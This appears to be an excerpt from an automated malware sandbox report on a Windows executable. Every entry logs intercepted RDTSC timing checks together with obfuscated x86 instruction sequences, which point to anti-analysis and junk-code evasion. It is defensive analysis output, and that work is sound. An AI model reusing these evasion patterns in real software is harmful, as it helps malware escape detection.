Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 391EB5 second address: 391EC5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ecx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 392024 second address: 392046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F888Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jne 00007F4AE04F8886h 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 392046 second address: 392072 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F4AE0E87EC2h 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 392072 second address: 392076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 392076 second address: 1AEB8B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4AE0E87EBCh 0x0000000f popad 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 jmp 00007F4AE0E87EBEh 0x00000019 pop eax 0x0000001a jmp 00007F4AE0E87EC9h 0x0000001f push dword ptr [ebp+122D0099h] 0x00000025 jmp 00007F4AE0E87EC4h 0x0000002a call dword ptr [ebp+122D1859h] 0x00000030 pushad 0x00000031 add dword ptr [ebp+122D194Bh], edi 0x00000037 xor eax, eax 0x00000039 jmp 00007F4AE0E87EBEh 0x0000003e je 00007F4AE0E87EB7h 0x00000044 mov edx, dword ptr [esp+28h] 0x00000048 mov dword ptr [ebp+122D194Bh], eax 0x0000004e mov dword ptr [ebp+122D3992h], eax 0x00000054 jg 00007F4AE0E87EC2h 0x0000005a jp 00007F4AE0E87EBCh 0x00000060 mov esi, 0000003Ch 0x00000065 jmp 00007F4AE0E87EBBh 0x0000006a xor dword ptr [ebp+122D194Bh], eax 0x00000070 add esi, dword ptr [esp+24h] 0x00000074 jc 00007F4AE0E87EB7h 0x0000007a cld 0x0000007b lodsw 0x0000007d js 00007F4AE0E87EB7h 0x00000083 clc 0x00000084 add eax, dword ptr [esp+24h] 0x00000088 pushad 0x00000089 movzx edi, cx 0x0000008c mov edi, 2FB83D5Fh 0x00000091 popad 0x00000092 mov ebx, dword ptr [esp+24h] 0x00000096 clc 0x00000097 push eax 0x00000098 push ebx 0x00000099 push eax 0x0000009a push eax 0x0000009b push edx 0x0000009c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 39383E second address: 393842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 393842 second address: 393846 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3993CE second address: 3993E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4AE04F888Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3993E1 second address: 3993E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 367F0B second address: 367F18 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3681DA second address: 3681DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368454 second address: 36845E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4AE04F8886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368554 second address: 36855D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368C88 second address: 368CA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8894h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368EB7 second address: 368EBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368EBC second address: 368F0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8896h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F4AE04F8888h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 cmc 0x00000027 lea eax, dword ptr [ebp+1248CAD4h] 0x0000002d mov dword ptr [ebp+122D2DC7h], edx 0x00000033 nop 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368F0E second address: 368F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368F12 second address: 368F16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368F16 second address: 368F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F4AE0E87EBCh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f jc 00007F4AE0E87EBCh 0x00000015 pop eax 0x00000016 nop 0x00000017 add cl, 00000072h 0x0000001a lea eax, dword ptr [ebp+1248CA90h] 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F4AE0E87EB8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Bh 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov cl, DFh 0x0000003c nop 0x0000003d jns 00007F4AE0E87EBEh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push edi 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368F7C second address: 368F81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368F81 second address: 368F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368F87 second address: 34E9EF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 add cx, BC4Fh 0x0000000e call dword ptr [ebp+12460CE3h] 0x00000014 jg 00007F4AE04F88A5h 0x0000001a jmp 00007F4AE04F888Fh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 34E9EF second address: 34E9F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 34E9F3 second address: 34EA20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d js 00007F4AE04F888Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4AE04F8890h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 34EA20 second address: 34EA24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 39E086 second address: 39E08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 39E08C second address: 39E092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 39E4B0 second address: 39E4CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8895h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 39E4CC second address: 39E502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F4AE0E87EB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jnp 00007F4AE0E87EDFh 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push edx 0x00000017 pop edx 0x00000018 jmp 00007F4AE0E87EC9h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 34EA0A second address: 34EA20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F4AE04F8890h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A6DC6 second address: 3A6DE1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AE0E87EB6h 0x00000008 jmp 00007F4AE0E87EC1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A732D second address: 3A7356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8899h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F4AE04F888Eh 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A7356 second address: 3A735A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A772B second address: 3A7730 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A79D1 second address: 3A79DB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A79DB second address: 3A79E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A79E1 second address: 3A79E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A79E5 second address: 3A7A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4AE04F8886h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4AE04F8895h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F4AE04F888Fh 0x00000019 push eax 0x0000001a push edx 0x0000001b jnc 00007F4AE04F8886h 0x00000021 jmp 00007F4AE04F8894h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A7A34 second address: 3A7A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A7A38 second address: 3A7A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4AE04F8896h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A9622 second address: 3A965C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 jmp 00007F4AE0E87EBAh 0x0000000e jmp 00007F4AE0E87EC0h 0x00000013 push esi 0x00000014 pop esi 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jl 00007F4AE0E87ECAh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 jnp 00007F4AE0E87EB6h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3A965C second address: 3A9660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B234C second address: 3B2350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B1273 second address: 3B1284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE04F888Ch 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B1284 second address: 3B12AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007F4AE0E87EB6h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007F4AE0E87EC3h 0x00000010 jp 00007F4AE0E87EB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B13C5 second address: 3B13D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jns 00007F4AE04F8886h 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B13D4 second address: 3B13DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F4AE0E87EB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B13DF second address: 3B13E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B16FF second address: 3B1705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B1705 second address: 3B170E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B19CF second address: 3B19E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B19E9 second address: 3B19EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B19EF second address: 3B19F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B19F5 second address: 3B19F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B19F9 second address: 3B1A20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F4AE0E87EBAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B1A20 second address: 3B1A2C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4AE04F888Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B1A2C second address: 3B1A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B21AC second address: 3B21CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4AE04F8886h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F4AE04F8892h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 331D9F second address: 331DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B7472 second address: 3B7476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B7476 second address: 3B7492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4AE0E87EC6h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B7638 second address: 3B7646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE04F888Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3B7646 second address: 3B7650 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4AE0E87EB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BCF31 second address: 3BCF4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4AE04F8895h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BD097 second address: 3BD09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BD09E second address: 3BD0AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnp 00007F4AE04F8886h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BD0AA second address: 3BD0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BD20B second address: 3BD21E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4AE04F888Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368925 second address: 368929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368929 second address: 368933 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4AE04F8886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368933 second address: 36893D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4AE0E87EBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 36893D second address: 368962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F4AE04F88A4h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F4AE04F8896h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 368962 second address: 3689A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov edi, eax 0x00000009 mov ebx, dword ptr [ebp+1248CACFh] 0x0000000f xor di, B675h 0x00000014 add eax, ebx 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007F4AE0E87EB8h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 xor edi, 6326A9A2h 0x00000036 nop 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jns 00007F4AE0E87EB6h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3689A6 second address: 3689BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE04F8894h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3689BE second address: 3689C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F4AE0E87EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3689C8 second address: 3689DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4AE04F8886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3689DA second address: 368A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4AE0E87EBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F4AE0E87EB8h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov ch, A1h 0x00000027 push 00000004h 0x00000029 mov di, 3FBBh 0x0000002d nop 0x0000002e push ebx 0x0000002f pushad 0x00000030 push eax 0x00000031 pop eax 0x00000032 push edi 0x00000033 pop edi 0x00000034 popad 0x00000035 pop ebx 0x00000036 push eax 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BD3C3 second address: 3BD3F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4AE04F8895h 0x00000009 je 00007F4AE04F8886h 0x0000000f popad 0x00000010 jno 00007F4AE04F8888h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BF9B2 second address: 3BF9DC instructions: 0x00000000 rdtsc 0x00000002 js 00007F4AE0E87EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4AE0E87EC8h 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F4AE0E87EB6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3BF9DC second address: 3BF9E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C33EC second address: 3C33F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe RDTSC instruction interceptor: First address: 3C33F2 second address: 3C33FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
